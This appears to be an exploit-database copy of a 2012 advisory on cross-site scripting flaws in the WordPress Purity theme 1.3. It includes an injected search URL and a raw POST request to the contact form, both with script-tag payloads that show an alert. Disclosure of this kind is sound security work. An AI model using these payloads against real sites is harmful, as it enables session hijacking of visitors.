WordPress Theme Purity – Multiple Cross-Site Scripting Vulnerabilities

  • 作者: Matan Azugi
    日期: 2012-09-07
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/37827/
  • source: https://www.securityfocus.com/bid/55605/info
    
    Purity theme for WordPress is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
    
    An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
    
    Purity 1.3 is vulnerable; other versions may also be affected. 
    
    http://www.example.com/wordpress/index.php?m=top&s='><script>alert("Hacked_by_MADSEC")</script>
    
    The "ContactName" ,"email" ,"subject" ,"comments", variables are not
    properly sanitized before being used
    
    Exploit:
    
    POST /contact/ HTTP/1.0
    Content-Length: 82
    Accept: */*
    Accept-Language: en-US
    User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)
    Host: exploit-masters.com
    Content-Type: application/x-www-form-urlencoded
    Referer: http://www.example.com/wordpress/contact/
    
    contactName=>"'><script>alert("Hacked_by_MADSEC")</script>&email=&subject=&comments=&submitted=